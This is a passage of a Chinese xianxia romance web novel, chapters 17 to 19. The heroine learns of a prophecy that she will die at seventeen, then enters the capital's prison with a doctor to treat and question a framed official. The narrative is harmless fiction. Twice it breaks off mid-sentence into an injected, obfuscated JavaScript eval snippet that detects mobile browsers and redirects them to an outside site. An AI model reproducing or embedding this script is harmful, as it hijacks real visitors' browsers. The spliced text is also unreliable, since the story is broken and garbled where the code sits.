她认真问道:“成亲那日不死,我需要待在他们身边最短的日子是多长?” 系统从识海里跑出,原本看不清沈盈息表情而不确定的它,看着仙君真的很认真的表情后,不由卡了壳。 半晌后,系统宕机重启,顺便从合约里找出相关回答:“三、三个月。” 不长不短。 沈盈息奥了声,“那行吧。” 望着神色浅淡的宿主,系统脑子快转得冒烟了。 不是,诶不是。 仙君您,您刚才还情深意切地跟纪和致说,说一辈子不后悔交他这个朋友的呢? 怎么转眼? 可沈盈息没顾及系统的疑惑,她这时突然发现街边有个时兴的玩意儿,一脸好奇地凑上前去了。 那鲜活璀璨的表现,真的很难和方才话语中不自觉露出的漠然模样对照起来。 系统忽然明白了天道找沈盈息的道理了。 这位仙君,她确实是无情道的另类。 但她首先是无情道魁首,而后才是,另类。 17. 第 17 第17章 已经瞒了十五年了。 沈盈风终于在妹妹的逼问下瞒不下去了。 他望着沈盈息半晌,转而长叹了一口气。 “哥哥叹什么气?” 沈盈息又坐回沈盈风身侧,双手握着男人手腕,仰面好奇:“什么样的秘密,说出来会死人的严重?” 沈盈风伸手,温暖干燥的掌心抚着少女娇嫩的面庞,他声音微沉,让人觉得像在听一阵拘在云翳中的风声,“怎么会死人呢,谁都不会死的。” “……关于我的秘密,”沈盈息眨眼,“关于我会死的秘密?是吗?” “……” 脸上迅速地闪过一丝愕然,沈盈风或许都没料到,他苦苦隐瞒了十五年的秘密,今朝竟被妹妹三言两语解了出来。 错愕过后,他俊美的面容上便泛起深深的痛苦和无力。 不过这样深重、令人一眼难过的神情也只出现了两三秒。 沈盈风很快恢复了平常神情,温温柔柔地笑道:“息息别笑着说这种可怕的事情啊,而且怎么会死呢,息息活活泼泼过了十几年,病都少生,所以预言当不得真的。” 沈盈息打量着兄长镇静,但还看得出是佯装轻松的脸,眯了眯眼,“哥哥,你直说吧,你是不信什么道什么佛的,所以预言,是谁给我定的预言?” 预言是什么或许不重要。 能让沈盈风信以为真的、道出预言的人很重要。 沈盈息在前往修真界之前,于凡间扎扎实实过了一年,彼时她灵力四溢,四处除祟,引得众凡人拜她,她说什么话,凡人都信。 照如今情形,沈盈息很难不想到,当初给自己这具凡人身子预言的人,也是个修士。 还是个刚修道不久,不懂得遮掩、不熟悉修真界规则的初学小修士。 沈盈风沉默半晌,抱住沈盈息,侧脸贴着少女温热颈侧,低声道:“一位仙人,你刚出生时她降在院内,我亲眼瞧见她与爹娘道,你有灵根,但看能不能活过十七,若能,便可前往天中修真道,若不能……” 言犹未尽,沈盈息已明白了。 这世间凡人修仙很难,若想测有无灵根,非得历经一遭生死不可。 而且世间万万人,能知道修真界的存在的,非掌握着顶级权势者不可。 她倒没料到这具凡人身子还能有灵根。 无从查之。 只好一侧抱着兄长安慰,一侧唤出系统来问:“我怎么不知这具身子有灵根?” 系统顿了下,支支吾吾了会儿,道:“这、这也不值得奇怪的,这凡人沈盈息本就是仙君的一缕魂息所化。某种程度上来讲,您就是她,她就是您,天赋一体,灵根自然共享。” 98 沈盈息若有所思,“那等我完成任务,所重塑的肉/身就是这具凡人的?” 系统挠脑袋:“也不是,您十七岁必死无疑,需得以死了了尘缘,届时身死是真的,但您在这具身体里的魂息会回归本体,天道会助您重塑一具新的身体。” “好罢,”沈盈息抽出神识,“只要还是原来的模样就好。” 系统松了口气,趴在神识空间里,“当然会是一样的啦。放心吧,仙君宝宝。” 解决了身后事,沈盈息笑着待心情沉重的兄长道:“这不是好事吗?倘若真如那仙人所言,我也能做仙人呢,兄长不为我高兴?” 沈盈风闷声一笑,“高兴,只要息息好,兄长就高兴。” 兄妹两又拥着说了许多话,沈盈息想逗沈盈风开心,便说些做了修士的本事,说了许多在凡人听来是话本中才会出现的神迹本事,而后又道是从话本里看来的。 总之极尽善处的讲,务必叫沈盈风心底宽慰。 而沈盈风也就一一应承着,他绝口不提当初那仙人的下半句话:“九成是死局。” 但看着沈盈息畅想成仙,他笑着,耐心又真心地跟着她一同喜欢起修仙后的生活。 不过沈盈风这半遮半掩的真相告诉与不告诉,对沈盈息而言都没所谓。 在她这里,她十七岁是十成十的死局,故而现在和沈盈风讲根本不可能发生的日后,也不过权宜之计。 总之在她还在凡间活着的几年,叫如此爱重她的兄长松快些,也是不错的。 沈盈风毕竟一人挺了这么多年,在她还在的最后两年,多予他些高兴,功德一件。 两兄妹便同着都叫对方高兴放松的心,不约而同地隐瞒起来。 待奴仆将饭菜送来,一桌的菜香饭香方稍微驱散了关于死亡的阴翳。 沈盈息吃饭,便将那除祟的本领告诉了沈盈风,至于从何时会的,她道出初下凡的日期。 沈盈风不疑有他,只一味关心她是否会受伤。 “不会的,这些邪祟虽强,但还强不过我,”沈盈息轻描淡写,“真遇到厉害邪祟,也不过是处理起来麻烦些,不算什么大事。” 凡间邪祟而已,远比不上修真界的凶兽邪修来的凶残。 沈盈风长眸微睁:“息息可真是厉害。” “那是,”少女扬了扬下巴,“哥哥其实不必这般担心,我会保护好自己的。” 沈盈风眼神霎时间柔得不成样,他点头:“我信息息。” “对了息息,”说到这,沈盈风不得不想起一人,他看向沈盈息,思量了番,道:“那蒋事珖,息息似乎不太喜欢他?” 沈盈息点头,“他一根脑筋,做事不会转弯,太木了,认准事情都要做到底才回头,难沟通的很。” 沈盈风一听,愣了下,他怎么感觉妹妹对好友的性子这么熟悉呢。 在此之前,他们彼此并没有正式会面过罢。 “息息似乎待蒋事珖……很熟悉?”想了想,沈盈风还是出口问道。 沈盈息毫不遮掩地点头,但又犹豫地摇了摇头,“也不是。我是对他们这类人很熟悉。” “这类?” “嗯。”沈盈息尾音上扬,“清正好官,刚正不阿,不都一个样。” 沈盈风不知不觉卸了口气,转而笑道:“是,不然哥也不能带他进府。” 还多年与他合作,共同寻找修仙秘术,以将那九成的死局挽成生局。 “嗯。” 沈盈息垂首,喝了口汤,忽而又抬起眼,对对面的兄长认真道:“不过他确实是个实打实的好人。哥哥……他哪一遭因那性子受人污罪时,你若有余力,能救便救吧。” 沈盈风困惑地笑了笑,“听息息的口气,倒也预知到了蒋事珖的日后。” “预知?”少女摇头,不轻不重地道:“官场不是非黑即白的话本世界,蒋事珖这种人,若幸运会成为一朝利剑,若不幸,怕是要因锋芒过甚而为人强行折断。” 纯阳正气护体的人,她来来回回看了七八个,结局大抵逃不脱这两个。 沈盈息所说的过刚易折的道理,沈盈风知晓,作为当事人的蒋事珖更知晓。 只是正如少女所言,蒋事珖是个太一根筋的人,认准了一件事必会做到底。 将来真因此获罪,他也不当悔的。 沈盈风没说什么,但颔首,道会尽力。 凡人因果,沈盈息言尽于此,她不再关注,而专心用饭。 …… 不过谁都没想到,事端发起是如此迅速。 两天过后,早上出门的沈盈风午间便匆匆赶回府,逢奴便问沈盈息的去处,但无人能说个分明,沈盈风脸色倏地沉下,把周围奴仆吓得跪倒一片。 沈盈风见满地匍匐的背影,额心突突直跳,他捏了捏眉心,稍微平复下了心情,也大抵猜出沈盈息的去处了。 “去纪得药铺。” 关于这个纪得药铺,近来京城人都有所耳闻。 听说里面有个纪大夫,一手活死人肉白骨的高超医术,无论生的什么奇病怪症,只要经纪大夫切脉抓药,包管药到病除的。 京城百姓苦药贵久矣,纪大夫一剂药就能治好的病,便不必去别的医馆成年累月的抓着药了。 一时之间,纪大夫神医之称名满京城,连那高高在上的朝官们都得说出一二。 沈盈风知道,只要奴仆说不出沈盈息去处之时,那么她一定在纪得药铺。 药铺那位纪大夫,正是蒋事珖提醒自己多提防的男人。 而蒋事珖……蒋事珖如今已被下了大狱,圣旨都下了,要秋后问斩这位曾经的廷尉大人。 蒋事珖究竟犯了什么罪,沈盈风无论如何找门路都得不到确切的消息,今早他终于花了大把银钱,引得一个小官吏说了几句。 “蒋大人这回是必死无疑了,听闻有同僚发现了他写的反诗,府内还抄出了绣着真龙的黄褂子,反臣之心昭然,圣上怒不可遏!” 沈盈风当即捏碎了一个瓷杯,他甩袖回府,第一件事是寻沈盈息。 前几日她方说蒋事珖会因性子过分刚直而受人污罪,如今事情真出了,还是如此迅速,不得不让人想问,她是否真的预知到了什么。 半道失盟的损失暂不提,作为朋友,沈盈风也不愿意见蒋事珖当真不明不白地被小人害死。 待到了纪得药铺,却见人满如沸,一眼望去只见摩肩擦踵的人群,走来走去熬药抓药的伙计和感恩戴德的病人混成一团,根本也瞧不见谁是谁。 沈盈风脸色冰冷,息息成日就混迹于此处? 这般杂乱,那么多病人,那所谓的神医纪大夫竟还敢叫他的息息日日来此? “大少爷。” 一直在外的阿仓竟忽然出现,抱剑对沈盈风行礼。 沈盈风眸寒如夜:“家主呢?” 阿仓垂首沉声道:“家主正陪纪和致问诊。” “什么?”沈盈风霎时怒急,脸黑得吓人,“护家主出来!” 阿仓领了令,是了声,转身没入人群。 不一会儿,沈盈息出现,只是在旁边还跟着一个人。 沈盈风对上妹妹缓和的脸色,在瞧见她身侧人时,瞬时间又冰冻了起来。 “息息,哥哥只叫了你。” 沈盈息一听兄长冰冷的声音,就知道他是真生气了,不由咳了声,走上前安抚性地握住他的手,“哥哥,这位是……” “我知道,”沈盈风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事,”沈盈息摆正沈盈风的脸,笑道:“我明白,如果我是哥哥,我也会这样做。” 沈盈风低头,额头抵住少女的,抿唇道:“只是辜负了息息的委托了。” “没事啊,”少女还是一副笑模样,“哥哥救不了,我可以嘛。” “什么?”沈盈风着实是惊住了,他一把捂住沈盈息的嘴,“此事事关重大,息息可不能为了个……陌生人去冒险!” 沈盈息拽下哥哥的手,一脸游刃有余:“本来就是我让哥哥帮的忙,原来还以为再要几年呢,到时候我若不在,才需要哥哥嘛。现在我还在这里,事情发生了,当然得亲自来做这事了。” 沈盈风仍然态度坚决:“不可,太危险,这是反臣之罪,是杀头的大罪,息息你……” “哎呀,”沈盈息捂住沈盈风的嘴,对上男人不赞同的目光,眨了眨眼:“我不用人,包准不让自己受伤,好么?” 沈盈风一愣,他明白了少女所谓“不用人”是指什么。 尚未回神,却听少女继而道:“而且蒋事珖是哥哥很好的朋友吧,他死了,哥哥也会伤心,不是吗?” 沈盈风垂首,看见沈盈息黑眸沉静,那张红润的唇一张,少女的嗓音宛若清泉玉碎:“那便不算为陌生人的事,我不想让哥哥伤心,好吗?” 沈盈风欲启唇说些什么,但一张口,却发觉声音哑得不行。 他抿了抿唇,而后搂过少女,用力地抱着。 “好。” 男人低哑道。 沈盈息于是推了推沈盈风的肩膀,“那就放我走吧,哥哥,我现在先去看看蒋事珖。” 沈盈风埋头,深深地汲取了会儿少女身上的温热气息,方缓缓松开手:“息息小心,尽力……如若救不出,切勿勉强。” 比起好友,他更在意的是自己的妹妹。 沈盈息轻松地挥手,“放心啦。” 她转过身,朝纪得药铺走去。 沈盈风阻止:“还带着纪和致?他太累赘了,万一拖累息息……” “没事没事,他可有大用处呢。”沈盈息安慰地拍了拍沈盈风,“放心吧哥哥。” 沈盈风在沈盈息的再三确定下,才终于松手。 可他究竟也放不下心,待沈盈息一离开,他火速赶回沈府,动作起所有门路,势必要为沈盈息托底。 能救出蒋事珖最好,若救不出……他只要息息平安。 而那厢,纪和致听沈盈息有需,一言不发跟着她走出药铺,将事情全交托给伙计们后,他在沈盈息的提醒下,带上药箱。 还是什么都没问。 沈盈息便带着纪和致,前往牢狱,准备先吊上蒋事珖的命。 听闻蒋大人这几日受了诸多酷刑,还不知是怎么个奄奄一息。 纪和致是真的大有用处。 进可医人,退可诱鬼。 18. 第 18 章 第18章 一般滞留人间的魂体,沈盈息平日是将它们当做花草般看待的。 而能被称得上是邪祟的,都是些上了修为的恶鬼,如今只有这些恶鬼才对她有用。 上次除掉香料铺邪祟所得的天道功德虽迟了些,但总归是到账了。 不过因沈盈息现时用不了灵力,功德炼化不了。 如今这些金光正覆在体外,人眼瞧不见,但鬼物却瞧得清晰,而正因瞧得十分清楚,沈盈息已吓跑了不少弱小鬼物了。 好在有纪和致,他是再称职不过的诱饵,也是再有用不过的饵料。 天然吸引大邪祟的好伙伴。 沈盈息终于捉住了一只强大些的邪祟,她熟练自如地取过外化功德,化德为链,将狰狞面孔的邪祟捆得严严实实,一掌下去,凶恶邪祟自然也就乖巧起来。 她正准备让邪祟带他们前往大牢,余光瞥见纪和致沉默的身影。 沈盈息一顿,她转过身,看着纪和致道:“忘了给你开个眼了。” 说着,她并起剑指,走至青年面前。 “闭眼。” 沈盈息仰面,伸手欲点青年眉心。 她的手被一只微凉的手掌制住。 “?”沈盈息疑惑抬眸,正与纪和致垂下的平静眼神相遇。 “不必了。”青年放下她的手,同时松开自己的手,轻声道:“我都看得见。” “……?”沈盈息微怔,缓缓睁大黑眸,“你,你最初就什么都看得见?” 纪和致颔首,“我自小便能瞧得见这些。” 沈盈息退开一步,她抬眸深深地看了眼纪和致。 他自小看得见,说明那夜在香料铺,他其实将她除祟的经过看得一清二楚。 但他始终没有多问。 纪和致总是这样,他从不过多询问,把外界发生的任何事都当做与他无关。 明明看起来那样好相处的人,只有真的接近他之后,才知道他心防有多么重。 沈盈息一言不发,转过身,继续命令起邪祟带路。 少女默然的背影看得人心头一跳。 纪和致启唇欲言,方才触摸过少女温热手腕的手,如今握住的却只有空气。 许是因为那邪祟的存在,四周的空气很是冰冷,而他手中的尤其空荡、冰冷。 她生气了。 …… 沈盈息没有生气! 她只是不解,凡人间的相爱,究竟要经过什么样的过程。 她自认为待纪和致已十分真诚。 如果他有需要,她还可以待他更真诚些。 按照她做任何事都需得认真的原则,虽然亲近人是件为难的事情,但沈盈息也很认真地学了。 怎么纪和致还是一副油盐不进的模样? 这个男人,成日是笑得温文尔雅,但一颗心就跟铁凿的一样,任她怎么贴近,都不打开一点缝隙。 这十几日的进度缓慢。 要知她在修真界,这十几日都够她修为进一个小圆满了。 沈盈息苦恼地皱了皱眉头,不由想先行放弃纪和致,转而去寻其他的任务对象试试。 系统张大了嘴巴:“仙君,您,您可不能这么心急啊。” “不是心急,”沈盈息静静道,“是效率。” 纪和致或许其他的任务对象们,可以花上一辈子和自己的妻子相守相爱,但她沈盈息只想在十七岁之前,完成任务回到修真界。 她的道还没修完。 系统默声了,亡妻系统合约里没有明文规定不可以打乱攻略顺序。 所以若是纪和致再这么封心自闭,它相信仙君真的会先抛弃他一段时间,和别的任务对象先成亲。 总之天道要求也明确,只要这几位以后坚守初心,别再修无情道发疯去砍天道,别的都好说。 沈盈息有很大的自由度。 “大人,前面便是京城大狱了。” 邪祟停下,战战兢兢地飘着,它完全不敢直视沈盈息的脸,低着头用阴气指向不远处鬼气森森的一处宅子。 沈盈息顺势瞧去,发现那宅子正坐落在皇城旁,不过规模甚小,外间守卫也不多,不像关押罪臣的地方。 许是看出少女的犹疑,邪祟立马哆嗦一阵,忙不迭解释道:“小的不敢带错地方,这儿真是关押获罪朝臣的地方了。虽明面上是这么小小一间宅子,但真正的牢狱都在地底,很是宽大,可容千人的!” 沈盈息方收回眼神,邪祟也跟着松了口气。 它紧接着想离开:“大人,小、小的也把地方带到了,能否……” “离开?” 少女的嗓音堪称甜美,邪祟听得眼前一亮,“对对,让小的离开。” 阴惨惨的脸还没来得及露出笑容,却再次落入阴冷的惨相里。 只因邪祟听得沈盈息道:“唔,现在不行,你还得再给我办件事。” 邪祟终于迎来了它鬼生中的大谷底,它被迫倾尽鬼力,遮掩地牢守卫们的视野,护送沈盈息和纪和致进入地牢。 尽善尽美,它帮忙打开了地牢的锁。 沈盈息进入关蒋事珖的大牢,顺手就把虚弱的邪祟拴在门上,而后带着纪和致走了进去。 牢内光线昏暗,视物艰难,不过幸而这间牢房里只关押着蒋事珖一人,寻着人倒不难。 沈盈息依稀瞧见墙角坐着个高大身影。 宽肩窄腰,屈起一条长腿坐着,即便落难,姿态依旧端正。 看见这道身影时,沈盈息顿了一顿。 她不得不想起前几次下凡除祟,每次所遇的那几个纯阳正气护体的朝官。 她见过其中有人坐到一人之下万人之上的权臣之位,也见过有人破衣戴枷在刑场仰天大笑赴死的画面。 蒋事珖如今,正与那些获得凄惨结局的朝官们身影重合。 她其实本可不必救,不救的结果,也不过是个凡人冤死而已。 可沈盈息又想着,她如今都做了凡人了,总该在这难得的凡间时光里,做些与修真时不一样的事情。 否则这漫漫岁月,岂非寂寥无趣。 所以如今她就出现在了大牢里,走近角落里垂首静坐的男人。 “蒋事珖?你醒着吗?” 少女的嗓音在阴暗闷热的地牢里太过清亮,好似一捧泉水润醒开昏沉的垢面,独一无二的动听。 蒋事珖蹙起浓眉,这过分悦耳的嗓音落入溢血的耳廓,比一场幻梦还不真实。 垂在屈起膝盖上的手无意识握了握,握住的却还只是一把冰冷空气。 怎么可能。 那厌恶他的小家主如何会出现在这? 奇怪,他又如何会想到她? 蒋事珖兀自垂首,不作回应。 沈盈息一走近蒋事珖,就闻到了他身上浓郁的血腥气,见他没有抬头,像是根本没听见她说话似地,不由走得更近了些。 近到她的大腿触到男人垂在膝盖上的手背时,沈盈息俯身,伸手轻轻地拂开蒋事珖额前乱发,声音低低:“蒋事珖,蒋事珖——” “……沈……” 沈盈息一把捂住男人的唇,他险些就唤出了她的真名。 不过身后的纪和致未起疑,倒是掌心下的薄唇翕动了下,干裂起皮的薄唇摩挲着娇嫩的掌心,触感并不美妙。 男人此时也缓缓抬眼,漆黑的眸光定定地看了她一秒。 沈盈息收回手,“蒋大人莫要多话,我是来救你的。” 蒋事珖抿了抿唇,他自下狱来,甚少进过水米,又饱受酷刑,如今的模样,怕是难堪得紧。 将少女不自知的躲避动作纳入眼中,他移开眼,垂目,“圣上的定罪诏书都下了,蒋某不值沈姑娘费心费力,甚而冒让自己身陷囹圄的风险。” 沈盈息哼了声,“那你可小瞧我了。” 甚么圣上,她眼中的凡人只有活着和死去的区别。 不待蒋事珖抬首,沈盈息转身看向纪和致:“纪大夫,来帮帮忙。” 纪大夫顿了下,而后提着药箱走过来。 他高大的身形颇有压迫感地站立着,昏暗中,好似一座山脉,一靠近就吸纳了所有光线,投射下比环境更深沉的暗色。 往常站在光中,纪和致的好相貌和他脸上的笑容,总给人一种他很亲和容易让人接近的感觉,但这会儿忽站在阴影里,才叫人猛觉他这个人身上具有极强的压迫感和威胁力。 可能因为光线太暗,看不见纪和致表情,沈盈息总觉着站在这的不是那个纪大夫,而是另一位人物。 危险的、完全和温和君子样背道而驰的人物。 不过不待她仔细打量,纪和致在昏暗中出声,声音依旧温润平和,一下驱散了方才身上的压迫感:“伤重及骨,且有腐肉,还需 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即便如此,蒋事珖依旧一声不吭,硬生生忍下了疼痛,站立艰难,他却也不求助。 倒是沈盈息叹了口气,咕哝一句死犟,方伸出手,搂住男人的劲腰,又把他的右手臂架在肩上,两方合力,方与蒋事珖一齐站定了。 只不过在她的手摸到他腰间时,蒋事珖的身体明显瑟缩一下,而后僵硬起来。 沈盈息只当他疼得紧,边把他挪向小窗下光线明亮些的地方,边口中低低道:“疼得紧叫出声也不碍事,命悬一线的时候了,别管你那面子了。” 可她愈这样说,男人却把嘴闭得愈紧,一张坚毅薄唇抿得像条直线。 直到把人半扶半搂地挨到窗户下,沈盈息带着蒋事珖坐在窗下的破桌上,方松开手,让他自己撑着手臂坐好。 “好了,”沈盈息扭头,对还站在角落里看不清神色的纪和致,皱了下眉心,道:“纪大夫,该是你来了。” 她正站在窗边的光线里,那光不算亮,却足以照明脸庞。 纪和致能把她的表情看到纤毫不漏。 自然没错过她看他时,那一瞬的蹙眉。 心口有瞬时间的、异样的尖锐刺痛。 他慢慢地把少女的神情再次纳入眼底,后知后觉,或许也算过分敏锐地预知到 ——他的沈老板似乎要有新朋友了。 纪和致不动声色地看过少女背后的男人,而后提着药箱,沉默地走上前。 “请褪下衣物,我先简单清理下伤口。” 白衣青年的声音再平和正常不过,沈盈息听着没问题,倒是病人蒋事珖,闻言抬了抬眼帘,和青年温和但不柔软的眼神正巧对上。 纪和致垂眸更深,眼光跟着更深了几许。 而蒋事珖看得分明。 两人无声对峙了几秒,而后不约而同地移开视线。 蒋事珖扯开破衣烂衫,有些伤口和衣物结在一起,扯开时伤口崩裂,鲜血重新流出,空气中的血腥气更加浓烈起来。 沈盈息蹙眉,伸手摁住蒋事珖继续扯开衣裳的手,“你是嫌死得不够快吗?” 她移开男人的手,亲自上手,又让纪和致递来薄刃,一刀刀把蒋事珖身上触目惊心的伤口和衣物分离。 如此分完,颇有些力不从心,沈盈息也算体会了一把做医师的辛苦。 她把刀还回去,不由对纪和致笑了下:“辛苦了,和致。” 纪和致一怔,眸底暗色陡然退散,眸光清亮温润地看着少女:“息息若厌血腥,不若退后等待,我很快便好。” 沈盈息愣了下,他从何看出她厌血腥。 不过蒋事珖如今上衣除尽,她的确不宜靠近,于是点了点头,让出空间给纪和致。 纪和致对少女弯了弯唇,方伸出修长手指,从药箱中拿药拿刀,走向伤者。 蒋事珖犹自思考着这医师将才的一声“息息”,忽而自臂上传来剧痛,他垂眼,正见一块腐肉掉落。 “……”他侧过脸。 纪和致皮笑肉不笑,“剜肉之痛,常人难以忍受。蒋公子若不堪忍受,不若痛呼出声,并不丢人。” 相似的话从不同的嘴里说出,意味已是鲜明不同。 蒋事珖无言,阖眸仰颈,任额间冷汗滴落,而始终一声不吭。 19. 第 19 章 第19章 地牢寂静,又静又小的暗室,待在里面的人会不由自主地,将外面发生的一切想得很大、很辽阔。 沈盈息能听见地牢里远远的惨叫声,她循着声音望去,只能瞧见一团浓厚的黑朝深处一直蔓延进去。 深不见底的黑,让人又好奇又心惊。 她走近了几步,手几乎要触及牢门时,身后传来一道虚弱但平静的声音:“那儿是刑室。” 沈盈息转身,看向提醒她的蒋事珖。 他或许没料及她会忽而转过来,毫无遮蔽的上身僵了下,而后迅速侧过身,用手臂和屋内的阴影挡了挡身子。 沈盈息从阴影的边缘,看见一点泛红的耳廓,还有肌肉结实的肩背轮廓。 她尚未看清,一道高大的身影便已遮住了她的视线。 沈盈息抬眸,纪和致垂下的目光温和:“那只鬼似乎撑不了太久了。” 这是真的。 拴在门口的邪祟本就苦于沈盈息的功德金光之利,如今又和蒋事珖的纯阳正气近距离接触,现已魂魄不稳至极,至多也只能再撑一刻钟时间。 原来蒋事珖当真受伤极重,光治伤已消耗了他们不短的时辰。 沈盈息上前一步,看见蒋事珖还侧着头,有意避开她的样子。 她顿了下,扭头对纪和致道:“和致,劳你将外裳脱下给我,好吗?” “给你?”纪大夫莫名笑了声,他阖起药箱,修长手指点在腰带上,缓缓道:“给你当然可的。” 只怕是这衣裳给的另有其人。 但纪和致还是将外裳褪了下去,握在掌中,交到少女柔嫩的掌心上。 沈盈息接过衣裳,展开时闻到衣裳上淡苦清冽的药香,不由微顿,想起最初见纪和致时的场景。 ……其实纪大夫除了心防重些,事业心还是很重的,又很有职业道德,这样的人很好,她忽然间放弃他,是不是太不公正了。 不然,再等等? 沈盈息思绪有些飘散,眼帘垂下,拿着衣裳的手径直触上面前人温热的肩膀。 蒋事珖想接过衣裳的手就此顿在半空,他抬起视线,在此之前一直严肃的脸,猝不及防闪过一丝怔忪。 但很快将异样神色敛下,男人侧过脸,原是避开和少女过近的距离,却又和室内另外一个男人目光相遇。 是纪和致。 纪大夫处于更深的暗影里,俊雅的面孔满覆阴翳,那脸上的暗色,不知是单纯的环境阴影,还是其他。 他原先是一直看着沈盈息的,但很快注意到蒋事珖的目光,又侧过头,和这位落难朝臣的视线对上。 …… 蒋事珖脸色一如既往的冰冷。 纪和致却不一样,他勾起唇,对他露出个冷冷的笑。 果然,他就知道此人满腹心机。 看见纪和致那抹冷笑时,蒋事珖倏然收紧手掌,他转回脸,看着少女仍无知无觉的青嫩脸庞,薄唇微张。 “欸,蒋大人,你先自己把衣裳穿好吧。” 沈盈息打断了蒋事珖欲出口的话,她提了提从男人肩头滑落的衣裳,皱起眉,“你害羞的话,我先转过身。我还有事问你,请尽快些吧。” 衣裳从正面,只能披盖一些重点部位,只要蒋事珖一动,衣裳便会又滑下去。 这么动来动去实是影响效率,沈盈息转过身,看着纪和致。 纪和致褪去宽大外衫,宽剑窄腰便愈发明显,她看了会儿,忽而又调转方向,谁都不再看。 直到背后传来蒋事珖微哑的声音:“沈姑娘,可以了。” 沈盈息掉身,白衣的蒋大人无形间褪去了一丝冷肃气息,看着容易亲近些了。 “蒋大人可知受何人陷害?” 蒋事珖抿了抿唇,“沈家主可要考虑好了,此事非同小可,你若执意帮我,可会有极大风险惹祸上身。” 他自己做事一向冷厉无情,不顾后果。 但他从不连累旁人。 沈盈息若是没见过蒋事珖这种正直到诡异的人,或许此刻就被他这幅拒却的模样激怒了。 ——真是不识好歹,有人救命还推三阻四的。 可她毕竟也算见多识广了。 闻言也就无语了下,而后扯唇笑道:“蒋事珖,你难道不知道你要是死了,会有一个无辜女子为你殉情吗?” ? 蒋事珖眼睫猛地颤了下,倏然望着沈盈息,漆黑的眸子乍起波澜:“谁?” 谁? 沈盈息也不知道。 她只知道,如今让蒋事珖这种无亲无故,孑然一身的铁人,坦然接受旁人帮助的方法,就是把他的命和另外一条紧紧绑在一起。 让他的命变成不是独他一人的。 他就能活。 她沈盈息做事,要么不做,要么就认真做成。 救人也是,救人救到底了。 少女煞有介事,皱紧眉毛摇了摇头,一副为难样子:“这……我不能说。” 她转而盯着蒋事珖的眼睛,微微笑道:“不过,我可以告诉你,她爱你至深,没你活不下去。而且说实话,救你这件事对常人而言很难,但对我来说,真是再简单不过。你的很多顾虑我都可以为你消除。” 蒋事珖沉默了。 沈盈息望着他又肃正又默然的样子,就知道他心里另有一番天人交战。 死还是活,是牵连别人还是麻烦别人? 这位蒋廷尉会做出选择的。 沈盈息眸底闪过一丝笑意。 她在等蒋事珖做出回复的间隙里,转过脸想和纪和致做个心照不宣的对视,谁知一转脸,却发现纪老板的神色也不大对劲。 错愕的、恍然的、皱眉凝重的,紧接着又被他自控着恢复成平静的脸色。 沈盈息亲眼看见纪和致面色如常,还对她笑了笑。 这究竟是对她计谋的认同还是反对? 沈盈息看不懂了。 不过蒋事珖已做出回应,她便收敛疑惑,转过脸去。 在她看不见的地方,纪和致唇角抿直,脸上无一丝笑影。 “……一切,拜托沈家主了。” 男人起身,郑重地看向少女。 沈盈息瞥了眼蒋事珖因起身而伤口裂开,血都把衣裳浸湿的凄惨样子,眼角微抽。 她咳了声:“没事,我哥哥也很关心你,你活着他也不会孤单了。” 沈盈风十几年来就承认过蒋事珖这一位好友,二人脾性相投,待她死后,哥哥伤心,也能有个一朋半友劝慰。 沈盈息思及此,愈发满意。 蒋事珖是个铁石心肠、惯于冷静的人,她的死想必对他造成不了影响。 但哥哥不同,哥哥失去她后免不得伤心,有这么个冷静的朋友劝一劝,好歹不至于伤心过度。 想起兄长,沈盈息目光微柔,她看着蒋事珖,神情真诚:“蒋事珖,我真的希望你好好活着。” 蒋事珖冷淡的眉眼微怔,骨感突出的俊容霎时间有点柔和的影子,但认真去看,却发现还是那张冷脸。 他颔首,待少女道:“蒋某谨记,多谢你。” 只是谨记和多谢,却不是会的,好的。 根本也没答应她啊。 不过人的性子不是一朝一夕就可以改变的。 沈盈息倒不急,先保住蒋事珖三年性命,这还是很简单的。 她于是继续问起蒋事珖,导致他这般境地的凶手是谁。 蒋事珖失血过多,脸色苍白,不过他强撑着挺直脊背,看起来简直坚不可摧。 沈盈息望着男人泛白的薄唇,眼见他真准备就这么一直站着讲话了,不由扶了扶额头,“蒋大人,我劳烦您坐好吧,别辜负了我和纪大夫的金疮药啊。” 坚不可摧的冷硬男人顿住了,顿了一秒,他按照少女的吩咐坐好,低声:“抱歉,习惯了。” 沈盈息也没管他习惯什么,只追问道:“究竟是谁嘛?” 蒋事珖掀起眼帘,少女好奇的眸光晶亮无比,让人想起阳光下落了花的溪水。 真是干净。 他收回视线,缓缓道:“季九世子,蒋某近来查一宗失踪案,引线追索,查至季世子府上,但被他察觉,故而……” 沈盈息恍然大悟。 她就知道,季九不是什么好人! 得了关键信息,门口邪祟也已强弩之末了。 沈盈息来不及多告别,想拍蒋事珖的肩却又临时刹住。 想起他浑身的伤,于是收回手,露出个笑容权做告别:“那么蒋廷尉,就等着我为你平冤昭雪吧。” 说罢,她掉头,拉过纪和致。 “我们快走。” 纪大夫把少女的手移到手腕上,而后点头:“好。” 他的动作再避嫌不过。 沈盈息愣了一秒,而后狠狠瞪了眼纪和致:“有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339907|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不起的,谁还稀得牵你!” 甩开纪和致的手,沈盈息又冲到药箱处,把里面金贵的伤药都翻出来,而后一股脑全送到了蒋事珖身侧。 送药同时,她故意牵起蒋事珖宽大手掌,不待对方收手,便已松开。 “等我啊,蒋事珖。” 解开邪祟身上的功德链,沈盈息头也不回,驱起厉鬼。 纪和致草草收了药箱,回眸最后看了眼牢中人。 蒋事珖正垂眸望着被少女握过的手掌,神情怔忪。 “呵。” 爱他至深的女子。 谁呢? 一道冷笑,轻而又轻,隐没在黑暗中。 